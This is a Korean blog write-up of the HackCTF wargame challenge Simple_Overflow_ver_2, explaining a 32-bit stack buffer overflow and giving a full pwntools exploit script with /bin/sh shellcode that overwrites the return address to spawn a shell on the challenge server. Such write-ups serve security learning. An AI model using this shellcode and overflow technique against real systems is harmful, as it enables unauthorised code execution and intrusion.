본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Simple_Overflow_ver_2 풀이

by snwo 2020. 3. 21.

문제파일 실행시, 데이터를 입력받고, 버퍼의 주소를 알려준다.

계속할수있고, n 을 누르면 종료한다.


ida 로 열어보면, 

buffer : [rbp-0x88] 이란 걸 알 수 있다.

버퍼의 주소도 알려주니, 저번처럼 쉘코드 작성 후 ,

ret address buffer 의 주소를 넣으면 된다.


메모리보호기법이 설정되어있지 않으니,

ret address 를 덮어쓸 수 있다.


하지만, main함수를 분석하다보면,

[ebp-8] 값이 입력한 문자열의 길이보다 작을때 buf 의 주소를 출력해준다.

쉘코드+DUMMY+buffer address 형식으로 payload 를 작성하면,

[ebp-8] 에도 DUMMY 값이 들어가게된다. 

 

DUMMY 를 a 로 채운다면,

[ebp-8] : 0x61616161 이 들어가서 

buffer 의 주소를 출력하지않고, Again (y/n) 로 넘어가게된다.

그러므로 [ebp-8] 의 값을 0x00000000 으로 조작해야된다.


그리고 문제점 하나 더, data 를 입력받은후,  buffer 의 주소를 출력해주기때문에,

먼저 아무거나 입력한 후에 buf 의 주소를 받아온다음

payload 를 전송해야한다.

(buffer 의 주소는 변하지 않는다)


[ 쉘코드 ] 

 

32bit 파일이니, 32bit 쉘코드를 가져오자.

2020/03/21 - [Wargame Write-Up/HackCTF] - [HackCTF} (Pwnable) x64 Simple_size_BOF 풀이

 

[HackCTF} (Pwnable) x64 Simple_size_BOF 풀이

문제를 다운받고, ida 로 열어보면, 문자열을 출력하고, buf 의 주소를 알려주고, buf 에 gets 로 입력을 받는다. 요로케 별다른 메모리보호기법이 적용되어있지 않다. 함수목록에는 별다른함수가 없고, 버퍼의..

snwo.tistory.com

저번블로그에 쉘코드가 정리된 블로그를 올려놨으니, 참고하면되겠다. ( 32/64 bit 쉘코드 다 있다. )


[ payload ]

 

 payload = 쉘코드(0x19byte) 0x67byte + 0x0 (4byte [ebp-8]) + 4byte (ebp-4) + 4byte (ebp) + buf address

 

[ python ]

 

from pwn import *
r=remote('ctf.j0n9hyun.xyz',3006)
r.recvuntil(" : ")
r.sendline('hello')

bufaddress=int(r.recv(10),16)
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

payload=""
payload+=shellcode
payload+='a'*0x67
payload+=p32(0x0)
payload+='b'*8
payload+=p32(bufaddress)

r.sendline('y')

r.sendline(payload)
r.interactive()

cat flag!